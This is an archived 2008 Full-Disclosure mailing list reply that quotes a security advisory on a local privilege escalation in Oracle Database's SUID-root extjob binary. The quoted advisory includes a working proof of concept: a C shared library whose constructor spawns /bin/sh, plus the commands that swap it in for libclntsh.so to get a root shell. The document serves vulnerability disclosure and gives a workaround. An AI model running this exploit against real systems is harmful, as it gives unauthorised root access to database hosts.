full-disclosure - Re: Oracle Database Local Untrusted Library Path Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <20080719221057.9AC0A808A5D@open3s.com>
Date: Sun, 20 Jul 2008 00:10:56 +0200 (CEST)
From: jmpascual <jmpascual@...n3s.com>
To: Joxean Koret <joxeankoret@...oo.es>
Cc: Full Disclosure <full-disclosure@...ts.grok.org.uk>,
	bugtraq@...urityfocus.com
Subject: Re: Oracle Database Local Untrusted Library Path
	Vulnerability


It is reported to Oracle since 2004 by open3s and affects others libs. The 
workaround is very simple but it is "under investigation / being fixed in 
main codeline. Scheduled for future cpu"

regards

juan manuel pascual


On Sat, 19 Jul 2008, Joxean Koret wrote:

> Oracle Database Local Untrusted Library Path Vulnerability
> ----------------------------------------------------------
>
> The Oracle July 2008 Critical Patch Update fixes a vulnerability which
> allows a user in the OINSTALL/DBA group to scalate privileges to root.
>
> Scalating Privileges from "oracle" to "root"
> --------------------------------------------
>
> In Oracle 10g R2 and later (Oracle11g is also vulnerable) the affected
> binary, $ORACLE_HOME/bin/extjob, is SUID root and must be suid root. In
> the following forum from Oracle you will found a note at the bottom of
> the page:
>
> (...)
> In 10.2.0.2 and higher
>
> rdbms/admin/externaljob.ora file must must be owned by root:oraclegroup
> and
> be writable only by the owner i.e. 644 (rw-r--r--)
>
> bin/extjob file must be also owned by root:oraclegroup but must be
> setuid i.e. 4750 (-rwsr-x---)
>
> bin/extjobo should have normal 755 (rwxr-xr-x) permissions and be owned
> by
> oracle:oraclegroup
>
> In 11g and higher
>
> Same as 10.2.0.2 but additionally bin/jssu should exist with root
> setuid
> permissions i.e. owned by root:oraclegroup with 4750 (-rwsr-x---)
>
> (...)
>
> The "oraclegroup" is commonly "dba" or "oinstall". Regardless of the
> group's name, if a user can execute OS commands from the database (after
> an attacker gains DBA privileges by abusing from an sql injection
> vulnerability, in example) the user is allowed to execute, modify,
> delete or create new files under the ORACLE_HOME directory.
>
> The following are the linked libraries of the extjob binary:
>
> $ ldd $ORACLE_HOME/bin/extjob
>        linux-gate.so.1 =>  (0xffffe000)
>        libclntsh.so.10.1
> => /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.1
> (0xb669d000)
>        libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb6681000)
>        libm.so.6 => /lib/tls/i686/cmov/libm.so.6 (0xb665f000)
>        libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0
> (0xb664d000)
>        libnsl.so.1 => /lib/tls/i686/cmov/libnsl.so.1 (0xb6638000)
>        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb6509000)
>        libnnz10.so
> => /home/joxean/oracle10g/product/10.1.0/db_2/lib/libnnz10.so
> (0xb635f000)
>        libaio.so.1 => /usr/lib/libaio.so.1 (0xb635c000)
>        /lib/ld-linux.so.2 (0xb7f95000)
>
> As you can see, 2 Oracle libraries are linked to the extjob binary. A
> user in the oracle group can't change the binary "extjob" because it's
> owned by root but can change linked libraries to execute arbitrary code
> under the privileges of "root". The following is an example of what can
> be done:
>
> -- Example with libclntsh.so
>
> $ cat test.c
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
>
>
> void __attribute__ ((constructor)) my_init(void)
> {
> 	printf("[+] It works! Root shell...\n");
>        system("/bin/sh");
> }
>
> $ cc test.c -fPIC -o test.so -shared
> $
> mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2 /home/joxean/oracle10g/product/10.2.0/db_2/lib/.libclntsh.so.10.2
> $ mv
> test.so /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2
> $ $ORACLE_HOME/bin/extjob
> [+] It works! Root shell...
> sh-3.1#
>
> Notes
> -----
>
> Despite the privileges needed, the vulnerability can be used in a
> multi-stage attack to gain root privileges.
>
> Workaround
> ----------
>
> Remove the SUID root bit from the extjob binary.
>
> Disclaimer
> ----------
>
> The information in this advisory and any of its demonstrations is
> provided "as is" without any warranty of any kind.
>
> I am not liable for any direct or indirect damages caused as a result of
> using the information or demonstrations provided in any part of this
> advisory.
>
> Contact
> -------
>
> Joxean Koret - joxeankoret[at]yahoo[dot]es
>
> References
> ----------
>
> http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2008.html
> http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=727
> http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-2613
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/